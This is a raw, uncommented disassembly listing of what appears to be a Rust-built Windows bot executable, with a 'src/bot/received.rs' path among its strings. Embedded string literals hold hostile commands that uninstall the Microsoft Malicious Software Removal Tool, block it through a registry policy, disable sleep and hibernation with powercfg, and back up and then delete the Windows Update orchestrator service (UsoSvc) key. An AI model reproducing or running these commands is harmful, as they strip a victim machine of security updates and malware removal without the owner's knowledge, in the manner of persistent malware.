movdqu xmm10, xmmword [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rsp + 0x1d0]
mov rcx, rsi
call fcn.14005fc01
movdqu xmmword [rsp + 0x1e8], xmm10
mov rcx, r14
mov rdx, r12
mov r8, rsi
xor r9d, r9d
call fcn.14000fb77
xor eax, eax
mov qword [rsp + 0x870], rax
mov qword [rsp + 0x878], 8
mov qword [rsp + 0x880], rax
mov rcx, r14
lea rsi, [rsp + 0x870]
mov rdx, rsi
call fcn.140010c0d
mov rcx, r12
mov rdx, rsi
call fcn.14001e443
mov rcx, r12
call fcn.14000280b
mov rdx, qword [rsp + 0x538]
mov r8, qword [rsp + 0x540]
mov rcx, r12
call fcn.140020a80
mov rcx, r14
mov rdx, r12
call fcn.140011262
test al, al
je 0x14001792e
mov rcx, r14
call fcn.1400116ec
mov rcx, r14
call fcn.140003744
test bl, bl
je 0x140017969
cmp qword [rsp + 0x270], 0
je 0x14001795c
mov r8, qword [rsp + 0x278]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x130]
call fcn.14000280b
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
mov r8, qword [rsp + 0x4f8]
mov r9, qword [rsp + 0x4f0]
call fcn.140019710
mov r13, qword [rsp + 0x578]
test r13, r13
je 0x140018206
mov r8, qword [rsp + 0x568]
mov r9d, 1
test r8, r8
je 0x140017b02
inc r8
mov edx, 0x48
mov rcx, r14
call fcn.140025af1
mov rsi, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x2f8]
mov rbx, qword [rsp + 0x560]
mov qword [rsp + 0x50], rax
lea r8, [rax + 0x11]
mov rcx, rsi
mov rdx, rbx
mov qword [rsp + 0x58], r8
call fcn.140082480
mov qword [rsp + 0x1c0], rsi
lea r14, [rsi - 0x48]
lea rbp, [rbx + 0x10]
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
not eax
mov r12, rbx
mov qword [rsp + 0x110], r13
test ax, ax
jne 0x140017a3e
movdqa xmm0, xmmword [rbp]
pmovmskb eax, xmm0
add r12, 0xfffffffffffffb80
add rbp, 0x10
cmp eax, 0xffff
je 0x140017a21
not eax
bsf ecx, eax
neg rcx
lea rcx, [rcx + rcx*8]
lea rdi, [r12 + rcx*8]
lea r15d, [rax - 1]
and r15d, eax
mov rdx, qword [rdi - 0x40]
mov r8, qword [rdi - 0x38]
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
call fcn.140020a80
mov rdx, qword [rdi - 0x28]
mov r8, qword [rdi - 0x20]
lea rcx, [rsp + 0x308]
call fcn.140020a80
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
lea rcx, [rsp + 0x320]
call fcn.140020a80
sub rdi, rbx
add rdi, r14
mov ecx, 9
rep movsq qword [rdi], qword [rsi]
mov eax, r15d
dec r13
jne 0x140017a1c
mov r13, qword [rsp + 0x1c0]
movdqa xmm0, xmmword [r13]
mov r9, qword [rsp + 0x50]
test r9, r9
je 0x140017b14
inc r9
mov rax, r9
mov ecx, 0x48
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
mov r10, qword [rsp + 0x58]
add r10, rax
mov rcx, r13
sub rcx, rax
mov eax, 0x10
lea r14, [rsp + 0x2f0]
mov r15, qword [rsp + 0x110]
jmp 0x140017b2c
pcmpeqd xmm0, xmm0
lea r13, [0x1400b9030]
xor r15d, r15d
xor eax, eax
jmp 0x140017b2c
xor eax, eax
lea r14, [rsp + 0x2f0]
mov r15, qword [rsp + 0x110]
mov r9d, 1
lea r8, [r13 + 0x10]
pmovmskb edx, xmm0
not edx
add r9, r13
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], r10
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x150], r8
mov qword [rsp + 0x158], r9
mov word [rsp + 0x160], dx
mov qword [rsp + 0x168], r15
test r15, r15
je 0x1400180c5
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x5f0]
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x4e8], rax
add rax, 0x10
mov qword [rsp + 0x4e0], rax
test dx, dx
jne 0x140017be1
movdqa xmm0, xmmword [r8]
pmovmskb edx, xmm0
add r13, 0xfffffffffffffb80
add r8, 0x10
cmp edx, 0xffff
je 0x140017bb3
not edx
mov qword [rsp + 0x150], r8
mov qword [rsp + 0x148], r13
mov eax, edx
lea r9d, [rax - 1]
and r9d, eax
mov word [rsp + 0x160], r9w
dec r15
mov qword [rsp + 0x168], r15
bsf eax, eax
neg rax
lea rax, [rax + rax*8]
mov rdx, qword [r13 + rax*8 - 0x48]
mov rcx, qword [r13 + rax*8 - 0x40]
mov qword [rsp + 0x60], rcx
mov r10, qword [r13 + rax*8 - 0x38]
mov rsi, qword [r13 + rax*8 - 0x30]
mov rbx, qword [r13 + rax*8 - 0x28]
mov r12, qword [r13 + rax*8 - 0x20]
mov rcx, qword [r13 + rax*8 - 8]
mov qword [rsp + 0x840], rcx
movdqu xmm0, xmmword [r13 + rax*8 - 0x18]
movdqa xmmword [rsp + 0x830], xmm0
mov rax, rdx
neg rax
jo 0x1400180c5
mov qword [rsp + 0x1c8], r10
mov dword [rsp + 0x108], r9d
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x278], rbx
mov qword [rsp + 0x280], r12
mov rax, qword [rsp + 0x840]
lea rcx, [rsp + 0x2a0]
mov qword [rcx - 8], rax
movdqa xmm0, xmmword [rsp + 0x830]
movdqu xmmword [rcx - 0x18], xmm0
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
mov r8, rbx
mov r9, r12
call fcn.14001a6df
test rax, rax
jne 0x1400180dc
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 8
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x268], 0
je 0x140017f29
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x110], r15
mov r14, qword [rsp + 0x4e8]
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
not eax
mov edx, 8
xor esi, esi
mov rcx, qword [rsp + 0x268]
mov r13, qword [rsp + 0x4e0]
mov qword [rsp + 0x50], rcx
test ax, ax
jne 0x140017d58
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
add r14, 0xfffffffffffffb00
add r13, 0x10
cmp eax, 0xffff
je 0x140017d3a
not eax
mov r12d, eax
bsf eax, r12d
neg rax
lea rdi, [rax + rax*4]
shl rdi, 4
cmp byte [r14 + rdi - 0x1f], 0
mov qword [rsp + 0x58], r12
je 0x140017e48
lea rbx, [r14 + rdi]
mov rax, qword [rsp + 0x5d0]
cmp qword [rbx - 0x40], rax
jne 0x140017dde
mov rcx, qword [rbx - 0x48]
mov r15, rdx
mov rdx, qword [rsp + 0x6a8]
mov r8, qword [rsp + 0x5d0]
call fcn.140082380
mov rdx, r15
test eax, eax
jne 0x140017dde
mov rax, qword [rsp + 0x6a0]
cmp qword [rbx - 0x28], rax
jne 0x140017dde
mov rcx, qword [rbx - 0x30]
mov rdx, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x6a0]
call fcn.140082380
mov rdx, r15
test eax, eax
je 0x140017e48
mov rax, qword [rbx - 8]
test rax, rax
je 0x140017e48
lea r15, [r14 + rdi]
add r15, 0xffffffffffffffb0
mov rdi, qword [rbx - 0x10]
lea rbp, [rdi + 0x18]
shl rax, 3
lea rbx, [rax + rax*8]
xor r12d, r12d
cmp byte [rdi + r12 + 0x40], 0
jne 0x140017e3f
cmp rsi, qword [rsp + 0x70]
jne 0x140017e20
lea rcx, [rsp + 0x70]
call fcn.140005117
mov rdx, qword [rsp + 0x78]
lea rax, [r12 + rbp]
mov rcx, rsi
shl rcx, 4
mov qword [rdx + rcx], r15
mov qword [rdx + rcx + 8], rax
inc rsi
mov qword [rsp + 0x80], rsi
add r12, 0x48
cmp rbx, r12
jne 0x140017e02
mov rcx, qword [rsp + 0x58]
lea eax, [rcx - 1]
and eax, ecx
mov rcx, qword [rsp + 0x50]
dec rcx
jne 0x140017d30
test rsi, rsi
je 0x140017edb
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
shl rsi, 4
add rsi, rcx
mov qword [rsp + 0x2f0], rcx
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x2f8], rcx
mov qword [rsp + 0x308], rsi
call fcn.14002bbc7
mov rsi, rax
lea r14, [rsp + 0x2f0]
mov rcx, r14
mov rdx, rax
call fcn.1400046b5
test rax, rax
je 0x140017f11
mov r12, rax
mov rbx, rdx
mov rcx, rsi
call fcn.1400272cc
xor esi, esi
mov r15, qword [rsp + 0x110]
mov r13, qword [rsp + 0x1c0]
jmp 0x140017f70
cmp qword [rsp + 0x70], 0
lea r14, [rsp + 0x2f0]
mov r15, qword [rsp + 0x110]
mov r13, qword [rsp + 0x1c0]
je 0x140017f29
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140017f29
mov rcx, rsi
call fcn.1400272cc
mov r15, qword [rsp + 0x110]
mov r13, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
call fcn.14001a541
test rax, rax
je 0x140017f4d
mov r12, rax
mov rbx, rdx
xor esi, esi
jmp 0x140017f70
lea r12, [rsp + 0x1d0]
mov rcx, r12
call fcn.1400077d1
lea rbx, [rsp + 0x2c0]
mov rcx, rbx
call fcn.140009074
mov sil, 1
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
lea rdi, [rsp + 0x70]
mov rcx, rdi
call fcn.140020a80
mov rdx, qword [r12 + 0x20]
mov r8, qword [r12 + 0x28]
lea rcx, [rsp + 0x88]
call fcn.140020a80
movdqu xmm10, xmmword [rbx + 0x18]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea rbx, [rsp + 0x220]
mov rcx, rbx
call fcn.14005fc01
movdqu xmmword [rsp + 0x238], xmm10
mov rcx, r14
mov rdx, rdi
mov r8, rbx
xor r9d, r9d
call fcn.14000fb77
xor eax, eax
mov qword [rsp + 0x888], rax
mov qword [rsp + 0x890], 8
mov qword [rsp + 0x898], rax
mov rcx, r14
lea rbx, [rsp + 0x888]
mov rdx, rbx
call fcn.140010c0d
mov rcx, rdi
mov rdx, rbx
call fcn.14001e443
mov rcx, rdi
call fcn.14000280b
mov rcx, rdi
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
mov r8, qword [rsp + 0x1c8]
call fcn.140020a80
mov rcx, r14
mov rdx, rdi
call fcn.140011262
test al, al
je 0x14001804a
mov rcx, r14
call fcn.1400116ec
mov rcx, r14
call fcn.140003744
test sil, sil
je 0x140018086
cmp qword [rsp + 0x2c0], 0
je 0x140018079
mov r8, qword [rsp + 0x2c8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x1d0]
call fcn.14000280b
lea rcx, [rsp + 0x270]
call fcn.14000280b
cmp qword [rsp + 0x68], 0
je 0x1400180ad
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
mov r8, qword [rsp + 0x100]
mov edx, dword [rsp + 0x108]
jne 0x140017bae
lea rcx, [rsp + 0x130]
call fcn.140002627
lea r12, [rsp + 0x70]
jmp 0x140018206
mov r9, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x8c0]
mov rcx, rdi
mov rdx, qword [rsp + 0x4f8]
mov r8, qword [rsp + 0x4f0]
call fcn.140011623
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
mov r8, rbx
mov r9, r12
call fcn.14001a7c9
mov ebx, eax
test al, al
je 0x140018160
cmp qword [rsp + 0x8c0], 0
lea r12, [rsp + 0x70]
je 0x14001819b
mov r8, qword [rsp + 0x8c8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x270]
jmp 0x14001819b
mov rcx, r14
mov rdx, rdi
call fcn.140002004
mov rcx, r14
lea rdx, [rsp + 0x830]
call fcn.1400056c4
lea r12, [rsp + 0x70]
mov rcx, r12
mov rdx, r14
call fcn.14004def0
mov rcx, r12
call fcn.140003ac5
mov rcx, r14
call fcn.1400028aa
test rsi, rsi
je 0x1400181b7
mov r8, qword [rsp + 0x278]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test bl, bl
je 0x1400181dd
cmp qword [rsp + 0x288], 0
je 0x1400181dd
mov r8, qword [rsp + 0x290]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x68], 0
je 0x1400181f9
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x130]
call fcn.140002627
mov rsi, qword [rsp + 0x758]
mov rcx, rsi
lea rdi, [rsp + 0x598]
mov rdx, rdi
call fcn.140010d60
mov rcx, rsi
lea rdx, [rsp + 0x530]
lea r8, [rsp + 0x5d8]
mov r9, rdi
call fcn.14001180c
mov qword [rsp + 0x20], 7
mov rcx, r12
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x7f0]
lea r9, str.MRT.exewusa__uninstall__kb:890830__quiet__norestartdel__f__q__
call fcn.14004d5d0
mov rsi, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
xor eax, eax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x320], 0x20
mov byte [rsp + 0x328], 3
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x300], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x310], rax
lea rax, [0x14008aa38]
mov qword [rsp + 0x318], rax
mov rcx, rsi
mov r8, r14
call fcn.140045730
test al, al
jne 0x140018e3c
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x270], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x280], rax
cmp qword [rsp + 0x70], 0
je 0x14001831f
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], 8
mov qword [rsp + 0x1e0], rax
mov al, byte [0x1400cdcc0]
mov edx, 0x2c
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140012678
mov rdi, rax
movups xmm0, xmmword [0x1400aa6c3]
movups xmmword [rax + 0x1c], xmm0
movups xmm0, xmmword [0x1400aa6b7]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1400aa6a7]
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rsi, qword [rsp + 0x1d8]
mov eax, 0x2c
mov qword [rsi], rax
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rax
mov edi, 1
mov qword [rsp + 0x1e0], rdi
lea rax, [rsp + 0x270]
mov qword [rsp + 0x130], rax
lea rax, [0x140005155]
mov qword [rsp + 0x138], rax
lea rax, [0x1400aa6e0]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 2
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rdi
mov rcx, r12
mov rdx, r14
call fcn.14001f780
cmp qword [rsp + 0x1d0], rdi
jne 0x140018435
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rsi, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x80]
mov qword [rsi + 0x28], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x18], xmm0
mov qword [rsp + 0x1e0], 2
mov al, byte [0x1400cdcc0]
mov edx, 0x63
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f5c
mov rdi, rax
mov r8d, 0x63
mov rcx, rax
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftMRT___v_DontOfferThroughWUAU__t_REG_DWORD__d_1__f__reg:64powercfg__x__hibernate_timeout_ac_0__powercfg__x__hibernate_timeout_dc_0__powercfg__x__standby_timeout_ac_0__powercfg__x__standby_timeout_dc_0HKLMSYSTEMCurrentControlSetServices_reg_copy__UsoSvc___UsoSvc_bkp___s__f__reg:64__reg_delete__UsoSvc___f__reg:64e
call fcn.140082480
cmp qword [rsp + 0x1d0], 2
jne 0x1400184a9
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rsi, qword [rsp + 0x1d8]
mov eax, 0x63
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x40], rax
mov qword [rsp + 0x1e0], 3
mov al, byte [0x1400cdcc0]
mov edx, 0x91
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f6b
mov rdi, rax
mov r8d, 0x91
mov rcx, rax
lea rdx, [0x1400aa763]
call fcn.140082480
mov rbx, qword [rsp + 0x1d0]
cmp rbx, 3
jne 0x140018524
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rbx, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov eax, 0x91
mov qword [rsi + 0x48], rax
mov qword [rsi + 0x50], rdi
mov qword [rsi + 0x58], rax
mov edi, 4
mov qword [rsp + 0x1e0], rdi
lea rax, [0x1400aa7f4]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 0x27
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x220], rax
lea rax, [0x14002b9f3]
mov qword [rsp + 0x228], rax
mov edx, 2
mov qword [rsp + 0x2f0], rdx
mov qword [rsp + 0x300], rdx
mov qword [rsp + 0x308], rdx
mov eax, 0
mov qword [rsp + 0x310], rax
mov r8d, 0x20
mov qword [rsp + 0x318], r8
mov cl, 3
mov byte [rsp + 0x320], cl
mov qword [rsp + 0x328], rdx
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x340], rdx
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r8
mov byte [rsp + 0x358], cl
mov qword [rsp + 0x360], rdx
mov qword [rsp + 0x370], rdx
mov qword [rsp + 0x378], rdx
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], r8
mov byte [rsp + 0x390], cl
lea rax, [0x1400aa868]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 3
lea rax, [rsp + 0x220]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x130]
mov rdx, r12
call fcn.14001f780
cmp rbx, rdi
jne 0x14001868e
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rbx, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x140]
mov qword [rsi + 0x70], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsi + 0x60], xmm0
mov qword [rsp + 0x1e0], 5
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x220], rax
lea rax, [0x14002b9f3]
mov qword [rsp + 0x228], rax
mov edx, 2
mov qword [rsp + 0x2f0], rdx
mov qword [rsp + 0x300], rdx
mov qword [rsp + 0x308], rdx
mov eax, 0
mov qword [rsp + 0x310], rax
mov r8d, 0x20
mov qword [rsp + 0x318], r8
mov cl, 3
mov byte [rsp + 0x320], cl
mov qword [rsp + 0x328], rdx
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x340], rdx
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r8
mov byte [rsp + 0x358], cl
mov qword [rsp + 0x360], rdx
mov qword [rsp + 0x370], rdx
mov qword [rsp + 0x378], rdx
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], r8
mov byte [rsp + 0x390], cl
lea rax, [0x1400aa900]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 4
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 3
lea rax, [rsp + 0x220]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x130]
mov rdx, r12
call fcn.14001f780
cmp rbx, 5
jne 0x1400187e8
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rbx, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x140]
mov qword [rsi + 0x88], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsi + 0x78], xmm0
mov qword [rsp + 0x1e0], 6
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x220], rax
lea rax, [0x14002b9f3]
mov qword [rsp + 0x228], rax
mov edx, 2
mov qword [rsp + 0x2f0], rdx
mov qword [rsp + 0x300], rdx
mov qword [rsp + 0x308], rdx
mov eax, 0
mov qword [rsp + 0x310], rax
mov r8d, 0x20
mov qword [rsp + 0x318], r8
mov cl, 3
mov byte [rsp + 0x320], cl
mov qword [rsp + 0x328], rdx
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x340], rdx
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r8
mov byte [rsp + 0x358], cl
mov qword [rsp + 0x360], rdx
mov qword [rsp + 0x370], rdx
mov qword [rsp + 0x378], rdx
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], r8
mov byte [rsp + 0x390], cl
lea rax, [0x1400aa990]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 4
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 3
lea rax, [rsp + 0x220]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x130]
mov rdx, r12
call fcn.14001f780
cmp rbx, 6
jne 0x140018945
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rbx, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x140]
mov qword [rsi + 0xa0], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsi + 0x90], xmm0
mov qword [rsp + 0x1e0], 7
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x220], rax
lea rax, [0x14002b9f3]
mov qword [rsp + 0x228], rax
mov edx, 2
mov qword [rsp + 0x2f0], rdx
mov qword [rsp + 0x300], rdx
mov qword [rsp + 0x308], rdx
mov eax, 0
mov qword [rsp + 0x310], rax
mov r8d, 0x20
mov qword [rsp + 0x318], r8
mov cl, 3
mov byte [rsp + 0x320], cl
mov qword [rsp + 0x328], rdx
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x340], rdx
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r8
mov byte [rsp + 0x358], cl
mov qword [rsp + 0x360], rdx
mov qword [rsp + 0x370], rdx
mov qword [rsp + 0x378], rdx
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], r8
mov byte [rsp + 0x390], cl
lea rax, [0x1400aaa10]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 4
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 3
lea rax, [rsp + 0x220]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x130]
mov rdx, r12
call fcn.14001f780
cmp rbx, 7
jne 0x140018aa5
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rbx, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x140]
mov qword [rsi + 0xb8], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsi + 0xa8], xmm0
mov qword [rsp + 0x1e0], 8
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x220], rax
lea rax, [0x14002b9f3]
mov qword [rsp + 0x228], rax
mov edx, 2
mov qword [rsp + 0x2f0], rdx
mov qword [rsp + 0x300], rdx
mov qword [rsp + 0x308], rdx
mov eax, 0
mov qword [rsp + 0x310], rax
mov r8d, 0x20
mov qword [rsp + 0x318], r8
mov cl, 3
mov byte [rsp + 0x320], cl
mov qword [rsp + 0x328], rdx
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x340], rdx
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r8
mov byte [rsp + 0x358], cl
mov qword [rsp + 0x360], rdx
mov qword [rsp + 0x370], rdx
mov qword [rsp + 0x378], rdx
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], r8
mov byte [rsp + 0x390], cl
lea rax, [0x1400aaa90]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 4
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 3
lea rax, [rsp + 0x220]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rcx, [rsp + 0x130]
mov rdx, r12
call fcn.14001f780
cmp rbx, 8
jne 0x140018c05
lea rcx, [rsp + 0x1d0]
call fcn.140060404
mov rbx, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x140]
mov qword [rsi + 0xd0], rax
movdqu xmm0, xmmword [rsp + 0x130]
movdqu xmmword [rsi + 0xc0], xmm0
mov qword [rsp + 0x1e0], 9
mov rax, qword [rsp + 0x598]
mov rdi, qword [rsp + 0x5a8]
sub rax, rdi
cmp rax, 8
jbe 0x140018dd1
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, qword [rsp + 0x5a0]
mov r8d, 0xd8
mov rdx, rsi
call fcn.140082480
add rdi, 9
mov qword [rsp + 0x5a8], rdi
test rbx, rbx
je 0x140018c8f
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
mov rsi, qword [rsp + 0x258]
je 0x140018cb9
mov r8, qword [rsp + 0x278]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
lea rdx, [rsp + 0x598]
call fcn.14001e443
mov rcx, r14
call fcn.14000280b
mov rbx, qword [rsp + 0x7c0]
mov qword [rsp + 0x4e8], rsi
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x58], rax
mov r13, qword [rsp + 0x4d0]
mov rbp, qword [rsp + 0x668]
mov rax, qword [rsp + 0x680]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x688]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x670]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x678]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x690]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x698]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x470]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x7b8]
mov qword [rsp + 0x100], rax
mov al, byte [rsp + 0x590]
mov ecx, 0x258
test al, 1
jne 0x140018dc5
mov ecx, 0x12c
cmp byte [rsp + 0x708], 1
jne 0x140018dc5
cmp byte [rsp + 0x709], 0
mov eax, 0x3c
cmovne rcx, rax
xor edx, edx
call fcn.140043d60
jmp 0x14001297c
mov qword [rsp + 0x20], 0x18
mov r8d, 9
mov r9d, 8
lea rcx, [rsp + 0x598]
mov rdx, rdi
call fcn.140084696
mov rdi, qword [rsp + 0x5a8]
jmp 0x140018c4e
call fcn.14005b140
mov rax, qword [rsp + 0x2f8]
lea r8, [rsp + 0x70]
mov qword [r8], rax
lea rax, str.src_bot_received.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140002e23
mov edx, 0x2b
call fcn.140083f30
lea rax, [0x1400b4658]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x14008aa88]
lea r8, [rsp + 0xf8]
mov edx, 0x37
call fcn.140083f30
mov ecx, 1
mov edx, 7
call fcn.140083a40
mov ecx, 1
mov edx, 4
call fcn.140083a40
mov ecx, 1
mov edx, 3
call fcn.140083a40
mov ecx, 1
mov edx, 2
call fcn.140083a40
mov ecx, 1
mov edx, 8
call fcn.140083a40
mov ecx, 1
mov rdx, r13
call fcn.140083a40
lea r8, str.src_bot_received.rs
xor ecx, ecx
xor edx, edx
call fcn.140083b80
lea r8, str.src_bot_received.rs
mov ecx, 1
mov rdx, r9
call fcn.140083b80
mov ecx, 1
mov edx, 6
call fcn.140083a40
mov ecx, 1
mov edx, 0xd
call fcn.140083a40
mov ecx, 1
mov edx, 5
call fcn.140083a40
mov ecx, 1
mov edx, 0xe
call fcn.140083a40
mov ecx, 1
mov edx, 0xa
call fcn.140083a40
mov ecx, 1
mov edx, 0x80
call fcn.140083a40
mov ecx, 1
mov edx, reloc.SHLWAPI.dll_SHCreateMemStream
call fcn.140083a40
mov ecx, 1
mov edx, 0x10
call fcn.140083a40
mov ecx, 1
mov edx, 0x63
call fcn.140083a40
